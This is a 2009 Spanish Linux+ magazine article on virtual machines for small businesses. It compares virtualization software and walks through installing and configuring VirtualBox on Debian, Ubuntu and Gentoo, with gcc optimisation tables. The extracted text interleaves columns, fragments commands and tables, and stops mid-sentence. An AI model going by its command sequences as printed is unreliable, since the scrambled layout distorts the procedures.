ordenador propiamente dicho y a todas las piezas que lo componen. Podríamos decir que es la parte que podemos toFigura 4. Añadir la firma del nuevo repositorio car. 20 Linux+ 5/2009 Un ordenador con un software adecuado para la virtualización puede alojar varias máquinas virtuales. El numero dependerá del hardware del que se disponga (para hacer un buen balance habría que realizar un cálculo estimado de consumo de recursos de las máquinas virtuales y el hardware del que se dispone). Todas ellas comparten todos los componentes físicos de la máquina. El software de virtualización se encargará de hacerle pensar a cada una de las máquinas virtualizadas que son dispositivos físicos diferentes. soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Figura 5. Actualizar la lista de paquetes El software consigue esto creando un capa intermediaria entre el hardware real y la máquina virtual. A esta capa se le suele llamar hypervisor y es la parte fundamental de la virtualización. De él depende la velocidad de acceso a los recursos físicos, como pueden ser el disco duro o la tarjeta de red. Para intentar aclarar un poco más el concepto de máquina virtual puede ver la Figura 1. En la imagen podemos observar la abstracción que existe entre las diferentes máquinas virtuales, el medio físico y el intermediario entre ambos: el hypervisor. y se hará una pequeña comparativa entre ellas. Xen: Desarrollado originalmente por la Universidad de Cambridge. Fue adquirido por Citrix System en el 2007. Capaz de funcionar en entornos de 32 y 64 bits. Incluye soporte específico para las extensiones de virtualización de Intel y Amd (se trata más adelante este tema). Es capaz de clonar máquinas virtuales en caliente, siendo capaz de hacerlo en un tiempo ínfimo (del orden de mili segundos). Utiliza una técnica llamada paravirtualización. Con ella consigue una penali- zación en el rendimiento de las máquinas virtuales del orden del 2% con condiciones normales y del 8% en los peores casos. Estos porcentajes contrastan con el 20% que sufren habitualmente con el resto de soluciones software. Es necesario Linux como sistema base para poder correrlo. En sus primeras versiones existía una versión para Windows XP, pero problemas de licencias con Microsoft prohíben su lanzamiento al público. Un punto a favor de Xen es que es gratuito y opensource. VMWare: Sin duda el software más conocido cuando hablamos de virtualización. Lo podemos encontrar para entornos de 32 y 64 bit compatibles con la arquitectura x86. Existen versiones tanto para Windows, Linux y MacOS X con microprocesadores Intel. El rendimiento depende mucho del hardware disponible en la máquina y en los recursos que se le deseen asignar a la máquina virtual. Una de las mejores cualidades que VMWare es su excelente gestor gráfico para la administración de las máquinas virtuales. Este facilita el manejo de cada una de las máquinas hasta el punto de llegar a ser prácticamente trivial el crear y administrar una máquina virtual. Sin lugar a dudas es uno de los más usados hoy en día y no es para menos, ya que se ha ganado un puesto en todo lo alto. Existen versiones de gratuitas, pero las versiones profesionales no lo son. VirtualPC: Desarrollado originalmente por Connectix y adquirido por Microsoft. Al contrario que otras soluciones software, VirtualPC emula el hardware y lo limita considerablemente. Existen versiones para prácticamente todas ¿Por qué una máquina virtual? Después de esta pequeña introducción a las máquinas virtuales, viene inevitablemente a la cabeza la pregunta que todos nos hacemos la primera vez que oímos hablar de ellas: ¿Cuál es la ganancia que consigo con máquinas virtuales?, ¿No sería más eficiente dedicar todo el hardware a un solo sistema operativo?, ¿El hardware requerido para que el rendimiento sea aceptable debe de ser muy costoso? El porqué del uso de máquinas virtuales no consiste en una sola respuesta, sino varias. Para empezar, la principal Software disponible actualmente: sus ventajas e inconvenientes En la actualidad podemos encontrar en el mercado numerosas soluciones de virtualización. Tanto de pago como gratuitas. Cada cual con sus ventajas e inconvenientes. A continuación comentaremos brevemente las más destacadas Figura 6. Selección de paquetes para la instalación de VirtualBox www.lpmagazine.org 21 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Tabla 1. Optimizaciones para gcc 4.2.4 o inferiores Gcc 4.2.4 o inferiores Intel Pentium o celeron pentium-mmx pentiumpro -mtune={pentium/pentium-mmx/pentiumpro} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double Orientación que se le dará al artículo, enfoque del hardware y software Pentium2 -mtune=pentium2 -O2 -mmmx -fomit-frame-pointer -pipe Pentium3 Pentium3 mobile -mtune={pentium3/pentium3-m} -O2 -mmmx -msse -fomit-frame-pointer -pipe mfpmath=sse Pentium4 Pentium4 mobile o Celeron mobile -mtune={pentium4/pentium4-m} -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays Centrino Celeron mobile -mtune=pentium-m -O2 -mmmx -msse -msse2 -fomit-frame-pointer -pipe mfpmath=sse Core2 Core2 dúo -mtune=nocona -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 mfpmath=sse -funroll-loops -fprefetch-loop-arrays QuadCore -mtune=opteron -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 mfpmath=sse -funroll-loops -fprefetch-loop-arrays Amd K6 -mtune=k6 -O2 -mmmx -fomit-frame-pointer -pipe -malign-double k6-2 k6-3 -mtune={k6-2/k6-3} -O2 -mmmx -m3dnow -fomit-frame-pointer -pipe -malign-double Athlon Turion Athlon-xp -mtune={athlon/athlon-xp} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -mfpmath=sse Athlon 64 Athlon fx -mtune={athlon64/athlon-fx} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays Opteron Phenom -mtune={opteron} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays las versiones de Windows y Mac. Tiene bastantes limitaciones como, por ejemplo, sólo hay capa de emular tarjetas gráficas de hasta 16 bits para las últimas versiones. Los sistemas virtualizados están bastante limitados. Aunque es capaz de soportar la mayor parte de los sistemas de Microsoft e incluso algunas versiones de OS/2 de IBM, no es así con Linux. Este no está soportado oficialmente, y las versiones que son capaz de funcionar bajo él necesitan de un ajuste de parámetros para conseguir arrancar. Al contrario de lo que pueda pensar, Microsoft distribuye VirtualPC de forma completamente gratuita. KVM: Del acrónimo Kernel Virtual Machine, es una solución completa de virtualización integrada en el kernel de Linux y sistemas UNIX. Soportado para diversas arquitecturas: s390, PowerPC, IA6 e Intel x86 y compatibles. De uso gratuito. VirtualBox: Desarrollado por la empresa alemana innotek y adquirido posteriormente por 22 nientes podemos mencionar la ausencia de un soporte completo para Windows, arquitecturas poco frecuentes o drivers. Está disponible para múltiples arquitecturas hardware. Sun Microsystems. Disponible para multitud de plataformas: Windows, Linux, OS/2, Solaris, freeBSD... así como varias arquitecturas. Se asemeja bastante a VMWare y tiene un cierto grado de compatibilidad con este. Su simpleza y su funcionamiento más que aceptable lo han convertido una buena alternativa a éste ya que es software libre. Para este artículo VirtualBox ha sido la opción elegida. Qemu: Realmente no es un software de virtualización propiamente dicho, pero este artículo no estaría completo si no lo mencionáramos. Qemu es un emulador de procesadores. Este es capaz de traducir los archivos binarios de un procesador a otro. Tiene dos modos de funcionamiento: Emulación del modo usuario, que funciona como ya se ha mencionado, es decir, traduciendo binarios. Emulación en modo completo que es capaz de emular el PC por completo. El sistema anfitrión necesita ser adaptado y parcheado para soportarlo. Entre sus inconve- Linux+ 5/2009 Este artículo está dirigido a todas aquellas personas a las que les guste experimentar y probar cosas nuevas. Muchas veces descubrimos software que, por curiosidad, nos gustaría probar. El problema está cuando se instala y borra Para las pruebas que se realizarán en este artículo se hará uso de un ordenador personal de uso corriente. En mi caso usé un portátil con un Intel core2 Dúo, aunque todo lo aquí he escrito es válido para cualquier tipo de PC. Para aquellos determinados aspectos que requieran de algún matiz particular para algún determinado tipo de hardware se detallará las modificaciones pertinentes de forma adecuada. Anteriormente se hizo un breve repaso por el software más popular que existe actualmente en términos de virtualización. En nuestro caso usaremos VirtualBox, de Sun MicroSystems. El motivo es su sencillez de uso, la capacidad de virtualizar prácticamente cualquier sistema operativo existente en el mercado, y su rendimiento óptimo. VirtualBox empezó siendo un proyecto como alternativa a los grandes fabricantes, como VMWare. Pero lo que empezó siendo un software modesto está demostrando que es capaz de competir y acaparar una cuota de mercado un poco olvidada: los usuarios. E incluso las pequeñas empresas. Instalación del software necesario: VirtualBox Como ya se ha comentado anteriormente VirtualBox es un software relativamente nuevo. Por ese motivo en cortos periodos de tiempo aparecen versiones nuevas, que añaden funcionalidad y corrigen fallos. Dadas las diferentes versiones que existen no nos centraremos en la última release. Instalaremos la última versión estable disponible para cada distribución. También se hará una instalación desde el código fuente. En ese caso sí nos descargaremos e instalaremos la última release. Métodos de instalación. Las diferentes distribuciones y el código fuente Dada la cantidad de distribuciones de Linux disponibles actualmente, es sumamente complicado y extenso explicarlo para todas y cada una de ellas. Por esta razón se explicará únicamente para tres distribuciones. Los motivos de por qué se han elegido esas distribuciones y no otras, y cuales de ellas fueron es el siguiente: soluciones para empresas Máquinas virtuales: Una alternativa para PYMES te que conlleva es la correcta instalación de las dependencias a la hora de compilar. Una vez resuelto ese tema, lo único que se puede obtener es una ganancia de rendimiento considerable. Por tanto, a no ser que use gentoo (ya que él lo hace automáticamente), yo recomendaría este método para su instalación si se quiere sacar el máximo partido a la capacidad de nuestro PC. Instalación con un gestor de paquetes: Debian, Ubuntu y Gentoo Sin duda usar un gestor de paquetes es manera más rápida y cómoda de instalar cualquier tipo de software. El único problema es que están compilados para máquinas genéricas. De esta manera se puede instalar en un mayor número de ordenadores, pero a cambio se pierde rendimiento (Salvo en gentoo que, como ya se comentó, hace precisamente eso: optimizar el programa que se va a instalar para la máquina). Detallamos la instalación usando los gestores de paquetes de cada una de las distribuciones nombradas anteriormente: Debian: El gestor de paquetes de Debian se llama apt. Disponemos de dos comandos principales para ejecutarlo: apt-get, apt-cache. Con el primero instalaremos los programas que queramos, actualizaremos la lista de paquetes disponibles y el sistema de forma global, entre otras. El segundo se usa esencialmente para buscar programas disponibles que pueden ser instalados. Debian no incluye en sus repositorios los paquetes de VirtualBox, por tanto tendremos que añadirlos de forma manual. Editamos para ello el archivo donde se almacenan los repositorios con nuestro editor favorito. En nuestro caso usaremos nano por ser extremadamente simple. Edición del archivo que contiene los repositorios: Figura 7. Apertura de un terminal • • • Debian: Sin duda en cualquier artículo o escrito de Linux que se precie es prácticamente obligado el hacer referencia a ella. Son muchos los motivos que se podrían dar a favor de Debian. Nombrando sólo algunos se podría decir: La gran estabilidad del sistema. La enorme comunidad de gente que hay detrás de ella. La multitud de arquitecturas en las que es soportado: desde un 386 hasta un Quad Core. El poco consumo de recursos necesario para su funcionamiento en un sistema básico. Podríamos instalar un servidor web Apache en Debian, que no soporte demasiadas conexiones por segundo, en un 486 con 32 Megabytes de RAM. Ubuntu: Al igual que a Microsoft con su Windows (y esto es le pese a quien le pese) hay que agradecerle la gran difusión de la informática para uso personal, a Ubuntu hay que agradecerle el acercarle a los usuarios no especializados el uso de GNU/Linux. Ubuntu posee una comunidad inmensa, es posible que la mayor que existe en GNU/Linux. Su punto fuerte es su simplicidad y sencillo manejo. Es tremendamente fácil instalar y configurar Ubuntu (De hecho uno de sus principales eslogan es: Ubuntu: GNU/Linux para gente normal), además de poseer un enorme soporte para prácticamente cualquier tipo de hardware. Es por eso que se ha ganado su merecida popularidad. Gentoo: En contraposición a Ubuntu, Gentoo posee muchas cualidades, pero la simplicidad no es una de ellas. Gentoo coge la filosofía de FreeBSD y extrapola al mundo Linux. En esencia lo que hace es optimizar todo el sistema para el hardware que se disponga. Esto se consigue modificando una serie de archivos de configuración y definiendo, según su hardware, una serie de parámetros. Una vez hecho esto, para cualquier software que quiera instalar, descargará el código fuente de dicho programa (y todas sus dependías) de Internet y lo compilará con los parámetros que usted especificó, como puede ser: El tipo de procesador y las optimizaciones elegidas, las funcionalidades que desea añadirle al software y cuales no serán necesarias. De esta forma afinará el sistema específicamente a lo que realmente usará, consiguiendo una ganancia de rendimiento nada despreciable. Por la forma en la que Gentoo optimiza cada programa se explicarán los parámetros necesarios para # nano -w /etc/apt/sources.list su instalación. Agregamos la siguiente linea: También se explicará la configuración e instalación de VirtualBox a partir del código fuente, […] con todas las ventajas e inconvenientes que ello deb http://download.virtualbox.org/ conlleva. Sin duda las ventajas superan a los virtualbox/Debian etch non-free inconvenientes, ya que el único inconvenien- […] Figura 8. Versión del gcc www.lpmagazine.org 23 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Antes de instalar VirtualBox actualizaremos la Tabla 2. Optimizaciones para gcc 4.3.0 o superiores lista de paquetes. Para hacerlo pondremos los Gcc 4.3.0 o superiores siguientes comandos (cabe señalar que ambos Intel Las opciones son exactamente iguales que para las versiones 4.2.4 e comandos han de ser ejecutados como root). inferiores. (actualización de la lista de paquetes) # apt-get update # apt-get install virtualbox-2.0 Apt necesitara descargar, dependiendo de la instalación base que tenga, entre 36 y 52 Mb. Una vez apt haya finalizado tendremos VirtualBox instalado. Ubuntu: Ubuntu está basado en Debian, por tanto utiliza el mismo gestor de paquetes y ficheros de confirmación para los repositorios. Si lo desea puede seguir los pasos explicados en el apartado anterior o puede usar el gestor gráfico que incorpora por defecto Ubuntu (el gestor también puede ser instalado en Debian). Dicho gestor es Synaptics (Figura 2). Antes de empezar tendremos que descargar un archivo. Este archivo contiene la firma digital gpg para validar la autenticidad y validación del repositorio que añadiremos más adelante. Podemos descargar el archivo en: http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc. Guardamos el archivo donde mejor nos parezca. Después tendremos que usarlo. Abrimos el gestor de paquetes. A continuación tendremos que marcar una serie de opciones en el gestor, si no las tenemos marcadas ya (las que aparecen encuadradas en un rectángulo en la imagen). Para ello nos dirigimos al menú configuración->repositorios (Figura 3). Ahora es el momento de usar ese archivo que descargamos al principio. Importamos la firma digital desde donde la guardáramos (Figura 4). Al igual que hacíamos con Debian, deberemos de recargar la lista de repositorios. Para ello pulsamos el menú de actualizar repositorio (Figura 5). Buscamos e instalamos VirtualBox. Seleccionamos el botón buscar que se encuentra a la derecha de la barra de herramientas y escribimos: VirtualBox. Los resultados nos saldrán en el cuadro blanco que se encuentra debajo. Hemos de marcar los siguientes, según la Figura 6. Una vez tengamos hecho esto le damos al botón de aplicar. Una vez descargado e instalado necesitamos compilar el módulo para el kernel, necesario para VirtualBox. Para ello tendremos que usar la linea de comandos. Vamos al menú principal de Ubuntu y nos abrimos un terminal (Figura 7). Synaptics nos habrá dejado los códigos fuente del módulo para el kernel en el directorio /usr/src/vboxdrv-2.0.4 (el último dígito puede variar en función de la versión que nos haya instalado el Synaptics. Solo nos 24 Pentium o celeron pentium-mmx pentiumpro Pentium2 Pentium3 Pentium3 mobile Pentium4 Pentium4 mobile o Celeron mobile Centrino Celeron mobile Core2 Core2 dúo -mtune=core2 -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays QuadCore -mtune=barcelona -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays Amd Las opciones son exactamente iguales que para las versiones 4.2.4 e inferiores. K6 k6-2 k6-3 Athlon Turion Athlon-xp Athlon 64 Athlon fx -mtune={athlon64/athlon-fx} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays Opteron -mtune=nativa -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays Phenom -mtune=amdfam10 -O2 -mmmx -fomit-frame-pointer -pipe -maligndouble -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays queda compilar. Tecleamos lo siguiente (Listado 1). Si queremos que se cargue el módulo de forma automática cada vez que iniciemos el sistema deberemos de añadir la siguiente linea en el fichero /etc/modules: comandos, sino que incluye todo el sistema de gestión de paquetes y su mantenimiento. El comando usado para instalar software en gentoo es emerge. Hay que recalcar varias cosas. Si usamos la versión estable el aspecto gráfico, y varias funcionalidades, podrían no ser del todo adecuados. Por eso usaremos la versión inestable, que en (Edición del archivo que contiene los el momento de escribir este artículo es la 2.0.6. módulos de arranque) También hemos de prestar atención a los flags # nano -w /etc/modules (pulsamos de compilación, ya que esta versión requiere las CTRL+X para salir) librerías qt4, de otro modo no instalará el entorno gráfico para VirtualBox. También requiere de al Agregamos la siguiente linea: menos los flags del USE activados, como mínimo para su correcto funcionamiento: alsa, pulseaudio, […] python. Que corresponden, respectivamente, con vboxdrv el sistema de sonido avanzado de Linux (Advan[…] ced Linux Sound Architecture) encargado de interactuar la tarjeta de sonido, el servidor de sonido Hecho esto tenemos nuestro VirtualBox listo pulseaudio (necesario para ciertas funciones de para funcionar. sonido en las máquinas virtuales), y python para Gentoo: El gestor usado por gentoo es llama- que se instalen ciertos scripts de administración. do portage. No se trata solamente de unos cuantos Por tanto introduciremos el comando adecuado Linux+ 5/2009 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES dependiendo la arquitectura del sistema operativo que tengamos instalado. En el caso de tener instalado un sistema de 64bits: apt-get install ia32-libs libc6- # ACCEPT_KEYWORDS="~amd64" USE="qt4 Si nuestro sistema es de 32 bits: Cuando la instalación de las librerías haya finalizado, necesitaremos descargar el código • fuente del VirtualBox. Descomprimimos el archivo tecleando en una • consola. Acto seguido entramos en el directorio: # ACCEPT_KEYWORDS="~x86" USE="qt4 alsa # tar -xjf VirtualBox-2.0.6- pulseaudio python" emerge virtualbox-ose OSE.tar.bz2 alsa pulseaudio python" emerge virtualbox-ose La variable ACCEPT_KEYWORDS define la arquitectura para la cual se va a compilar el paquete pasado como parámetro a emerge. Si el nombre de la arquitectura va precedido de ~ se interpretará como que se desea instalar la versión inestable. La variable USE indica las características que queremos añadir al software que vamos a compilar. En este caso añadimos aquellas que nombramos anteriormente. Una vez hecho esto, emerge se encarga de descargar los códigos fuentes de VirtualBox, así como sus dependencias, y compilarlas con las optimizaciones configuradas en el sistema. Una vez hecho esto ya tendremos VirtualBox listo para funcionar. dev-i386 lib32gcc1 gcc-multilib lb32stdc++6 \ g++-multilib # cd VirtualBox-2.0.6 optimización. Lo que implica que se perderá en portabilidad. A continuación se detalla, brevemente, una pequeña explicación de la funcionalidad de cada parámetro: -mtune: Especifica el tipo de procesador que tenemos. -O2: Le indica al compilador que queremos un tipo de optimización de nivel 2. Existen 4 tipos de optimizaciones. -O1, que aplica una optimización leve. -O2, que optimiza de forma moderada. -O3, que optimiza de manera agresiva y -Os, que optimiza para que el ejecutable ocupe el menor tamaño posible. -pipe: Este parámetro no influye en el rendimiento una vez compilado el código fuente. Su función es la de acelerar el proceso de compilación. Para ello hace uso de pipes o tuberías para comunicar los diferentes procesos que se crean cuando el compilador trabaja, en lugar de archivos temporales. -fomit-frame-pointer: Este parámetro proporciona un registro del procesador extra que puede ser usado para otras tareas, siempre y cuando la función llamada no lo necesite. -mfpmath: Indica al compilador que se desea usar la unidad aritmética con las nuevas extensiones sse, en lugar de la antigua 387. -m3dnow, -mmmx, -msse, -msse2, -msse3: Activa el uso de las extensiones multimedia -m3dnow, mmx, sse, sse2 y sse3. -funroll-foops: Intenta extender los bucles. Se gana en rendimiento sacrificando el tamaño de los ejecutable, que aumentan. -fprefetch-loop-arrays: Si el procesador tiene soporte, intenta precargar en memoria cierto código antes de ejecutar los bucles. De esta forma se optimiza el rendimiento. Esto es así ya que el bucle no ha de esperar la carga de esas instrucciones, puesto que se cargaron con anterioridad en memoria. Llegados a este punto han de explicarse los • parámetros de optimización del gcc. Estos son los que marcarán la diferencia entre los binarios precompilados (que podemos instalar en Debian y Ubuntu) o compilar nosotros mismos la aplicación. Gcc acepta muchos parámetros, entre ellos el tipo de procesador en el que se ejecutará el binario compilado, el nivel de optimización • que deseamos, las extensiones multimedia del procesador que nos gustaría activar, etc. Para realizar esta tarea el gcc usa dos variables globales: CFLAGS y CXXFLAGS. Dependiendo de la versión del gcc las optimizaciones podrían variar. • Un valor que, normalmente, varía es el parámetro mtune, que especifica el tipo de procesador del Instalación a partir del código fuente: que se dispone. El motivo de que varíe es que en • 32 y 64 bits las versiones algo más antiguas no aparecen los Sin lugar a dudas este es el método más ade- procesadores más modernos. Por eso es imporcuado si lo que queremos es sacarle el máximo tante saber de qué versión de gcc disponemos. • rendimiento a VirtualBox. El hecho de que Para comprobarla escribimos en un terminal: compilemos el software para adaptarlo a nuestra arquitectura específicamente, además de # gcc -v • incluirle alguna optimización como parámetros al gcc nos hará ganar un notable rendimiento Después de esta orden obtendremos algo pareen VirtualBox y por lo tanto en las máquinas cido a lo siguiente al contenido de la Figura 7. virtualizadas. Detallamos una pequeña tabla con las opEl procedimiento que se explica es válido timizaciones que se han considerado óptimas tanto para Debian como para Ubuntu (ya que dependiendo el tipo de procesador que se disen Gentoo no tiene demasiado sentido). El ponga (sólo se muestran algunos) y la versión proceso también puede extrapolarse a cualquier del gcc (Tabla 1). Hay que matizar que lo que Una vez este comando haya terminado ya tendistribución, pero se tendría de tener cuidado se pretende, ante todo, es jugar en favor de la dremos todo lo necesario para proseguir con la de instalar las dependencias convenientemente. Tabla 3. Procesadores con soporte de virtualización nativa Para comenzar debemos explicar que Vir- Intel Amd tualBox se apoya en una serie de librerías ya Pentium 4 (662 y 672) Athlon 64 existentes. Por ello antes tenemos que asegurarPentium 4 Extreme con soporte HT Athlon 64 X2, familias F y G con socket AM2 nos que las tenemos correctamente instaladas. Si Turion 64 X2 ya las tuviéramos en nuestro sistema no pasaría Pentium D 920-960, excepto 945, 935, 925, 915 Core Opteron nada. Lo único que pasaría es que apt le informaría que la librería ya se encuentra en sus sistema Core 2 Phenom y Posteriores y por tanto no instalará nada nuevo. Ejecutamos Series Xeon 3000 el siguiente comando para instalarlas (Listado 2). Series Xeon 5000 Si vamos a compilar para una arquitectura Series Xeon 7000 de 64 bits tendremos que instalar unos paquetes QuadCore y posteriores adicionales: www.lpmagazine.org 25 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Figura 9. Primera impresión de VirtualBox compilación. Tan solo nos queda exportar nuestras variables CFLAGS y CXXFLAGS y comenzar con la compilación. Anteriormente lo quedamos situado en el directorio en que descomprimimos VirtualBox. Tecleamos los siguientes comandos (estos comandos deberían de hacerse como root. Al menos el make install), ver Listado 1. Si encontramos errores de librerías cuando arranquemos VirtualBox, en sistemas de 64 bits, solucionaremos esto enlazando las siguientes dependencias. Haremos esto en el directorio raíz en el que hicimos el kmk (ver Listado 2). Hecho esto ya tenemos compilado, instalado y (lo más importante) optimizado VirtualBox. En Gentoo escribiremos los módulos el fichero /etc/modules.autoload/kernel-2.6 : Preparando VirtualBox Primera toma de contacto con VirtualBox Antes de usar VirtualBox han de configurar un par de cosas inprescindibibles para su uso. Si se pretende ejecutar máquinas virtuales como usuario normal, habrá que añadirlo al grupo correspondiente. Este grupo es vboxusers. Todos los usuarios pertenecientes a este grupo tendrán los permisos suficientes para ejecutar todas las funcionalidades de VirtualBox. Además habrá que cargar el módulo necesario para que se ejecute correctamente al arrancar el sistema. Para añadir a nuestro usuario al grupo de aquellos que pueden ejecutar VirtualBox y crear máquinas virtuales ejecutaremos: […] vboxnetflt […] Tan solo nos queda dar los permisos apropiados para que todos los usuarios del grupo vboxusers puedan acceder al driver de virtualización creado por VirtualBox. Para hacer esto escribiremos: chmod 660 /dev/vboxdrv chgrp vboxusers /dev/vboxdrv A la derecha aparecen tres pestañas. Navegando por ellas podemos encontrar todos los parámetros de configuración disponibles para cada una de nuestras máquinas virtuales. Los botones grandes, encima de las máquinas, son lo suficientemente explicativos como para no necesitar añadir nada. Ahora detallaremos cada uno de los menús. Empezando por el menú Archivos (Figura 10) nos aparecerá, como primera opción, Administrador de Discos Virtuales, nos permitirá gestionar los discos duros virtuales de los que disponemos, crear nuevos y eliminar los ya existentes. La opción Preferencias, nos abrirá una nueva ventana desde la que podremos controlar las opciones globales como el idioma, directorios de trabajo, o periodicidad de chequeo de la disponibilidad de actualizaciones. Y por último salir. Si hacemos click en el menú Máquina se desplegará un menú con el de la Figura 11. Con Nuevo abriremos un asistente que nos guiará en la creación de una nueva máquina virtual. Configuración nos mostrará los parámetros configurados para la máquina que tengamos seleccionados en ese momento, si disponemos de alguna. En otro caso estará desactivada. Borrar eliminará una máquina virtual del la lista que nos aparece debajo. Hay que tener cuidado con esta opción porque no solamente nos la eliminará de la lista, sino que también borrará todos los archivos que tiene. Iniciar arrancará la máquina virtual seleccionada. Esta opción correspondería a la pulsación del botón de power en un ordenar físico. Descartar, Pausar y Actualizar tal vez resulten un poco confusos si nunca se ha trabajado con entornos de virtualización. Cuando trabajamos con máquinas virtualizadas disponemos de opciones que, si éstas fueran ordenadores físicos, no tendríamos disponibles. Estas características hacen que podamos pausar un sistema virtual una vez lo hayamos arrancado. Esto congela todo el estado de la máquina, tal cual está en ese preciso instante. Podemos dejar en este estado la máquina tanto tiempo como queramos. Cuando la necesitemos de nuevo tan solo tenemos que volver a darle a iniciar y volverá al estado en el que se quedó cuando la pausamos. Para ésta es como si no hubiera pasado nada. Si además queremos cerrar la máquina virtual, por cualquier motivo, tenemos la posibilidad de guardar el estado de la máquina. En esta sección se explicará, lo más detalladamente posible, cada uno de los menús que podemos encontrarnos cuando arrancamos la aplicación. Más adelante entraremos en detalle sobre la configuración de los parámetros de las máquinas virtuales y las posibilidades que ofrece nuestro entorno de virtualización. Cuando arrancamos el software nos aparecerá, en primer lugar, un formulario de registro. Tendremos que indicarle un nombre y una cuenta de correo. El registro no es obligatorio, pero si lo dejamos en blanco nos aparecerá cada vez que iniciemos el entorno. Si no se desea que Sun disponga de nuestros datos, # gpasswd -a NUESTRO_USUARIO pero que tampoco nos aparezca esa pantalla cada vboxusers vez que arranquemos, podemos introducir unos ficticios. Aunque esta información solamente Configuramos el sistema para que al arranque será usada para términos estadísticos (por regla cargue los módulos necesarios de VirtualBox. general). Cuando hayamos completado este En Debian y Ubuntu escribiremos lo si- registro ya podremos empezar a trabajar con el guiente en el directorio /etc/modules : entorno, apareciéndonos una ventana como esta que se muestra en la Figura 9. […] El entorno es sumamente intuitivo. En la vboxdrv imagen se ve como ya existen dos máquinas vboxnetflt virtuales instaladas. Todas las que vayamos […] añadiendo se irán colocando a la izquierda, escribiremos debajo de las que se muestran en la imagen. Figura 10. El menú Archivo 26 Linux+ 5/2009 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Figura 11. El menú Máquina Cuando queramos guardarlo, solo tendremos que pausar la máquina y cerrar su ventana. Entonces VirtualBox nos preguntará si deseamos apagar la máquina o guardar su estado. De esta manera se mantendrá el estado de latencia una vez cerrada la ventana. La opción resulta muy cómoda si usamos máquinas virtuales a diario y no queremos apagarlas y volverlas a iniciar cada día. Tan solo tendríamos que pausarlas y cuando nos vuelva ha hacer falta restaurarla. La opción Descartar se encuentra disponible cuando la máquina ha sido pausada. Cuando la pulsáramos el estado de la máquina se eliminaría. A efectos prácticos es como si reiniciáramos un PC dándole al botón del reset. Mostrar historial de eventos nos mostrará en una nueva ventana todos los sucesos que ocurrieron desde que se arrancó la máquina. Esta opción es útil en casos de error o depuración. Por último nos encontramos el menú Ayuda (Figura 12). En la opción contenidos podemos ver la documentación de VirtualBox. Con Reiniciar Todos los Avisos eliminaremos todos los mensajes, que haya dado VirtualBox anteriormente. Si pulsamos Check for Updates nos informará si ha salido una versión nueva del software y Acerca de VirtualBox nos dará varia información como sobre la versión y licencia. Los parámetros de las máquinas virtuales Cuando tenemos una máquina virtual instalada podemos manipular sus diferentes opciones y ajustarlas según nuestra conveniencia. Para hacerlo tendremos que seleccionar una máquina, de las que tengamos instaladas, a la izquierda. A la derecha nos aparecen tres pestañas con sus diferentes propiedades. En la pestaña detalles, pulsamos en las letras coloreadas en azul: General. Es importante recalcar que la mayoría de las opciones solamente estarán disponibles con la máquina virtual apagada. En la ventana que se nos presentará, si seleccionamos el menú General a la izquierda, aparecerá una ventana como la que se muestra en la Figura 13. Name indica el nombre que le hemos dado a la máquina virtual. En mi caso el nombre elegido fue Debian. OS Type es el parámetro que indica el tipo de sistema operativo que Tamaño de Memoria Base se nos ofrece la posibilidad de asignarle la cantidad de RAM que queramos a la máquina virtualizada, nosotros asignaremos 128MB, aunque sería suficiente con 64. Esto dependerá del sistema operativo que vamos a instalar y de la memoria real que tengamos en el ordenador físico. Al igual que la memoria RAM, también podemos asignarle la cantidad de memoria de vídeo que queramos. Si no vamos a hacer uso de un entorno gráfico con 16 o 32 MB será suficiente. En caso contrario deberíamos dedicarle entre 64 y 128 MB, dependiendo del entorno y de la cantidad de memoria física que dispongamos. Si, por ejemplo, queremos instalar una Ubuntu o un Windows XP, con 64MB de memoria de vídeo tal vez sería suficiente, sin embargo, sería conveniente asignar 128MB si instaláramos un Windows Vista. Los parámetros avanzados Seguramente Las Extended Features serán nuevas para muchos. La opción ACPI habilitará el soporte para la gestión avanzada de energía. Esta opción rara vez debería de estar deshabilitada. Actualmente todos los sistemas operativos la soportan, así como el hardware. Esta habilitará características como la regulación de la frecuencia de la CPU, la posibilidad de pasar al estado de hibernación y suspensión, entre otros. IO APIC habilita el sistema de interrupciones programable avanzado. Para el hardware disponible actualmente sería conveniente activarlo en la mayoría de los casos, especialmente si se pretende instalar un sistema Windows. Si se activa en Linux ha de estarse seguro de tener el soporte en el kernel. En cualquier distribución actual estará activada por defecto. Para el soporte en sistemas con varios cores (Intel core, Core2, QuadCore, etc) en el procesador con procesamiento paralelo debería de estar habilitado. VT-x/AMD-V activa el soporte hardware, en el procesador, de la virtualización. El rendimiento aumentará considerablemente en caso de poder activarla. Ambas tecnologías son equivalentes en funcionalidad pero una la incorpora Intel (VT-x) y otra AMD (AMD-V). Los procesadores que incorporan esta funcionalidad se listan a continuación (Tabla 3). Habilitando las extensiones PAE/NX del procesador, permitirá hacer uso de más de 4GB de memoria. Esta se encuentra disponible en procesadores Intel pentium Pro o Amd Athlon y posteriores. El Shared Clipboard es un concepto que puede resultar impactante. Seleccionándolo en Bidireccional nos permitirá compartir el portapapeles del 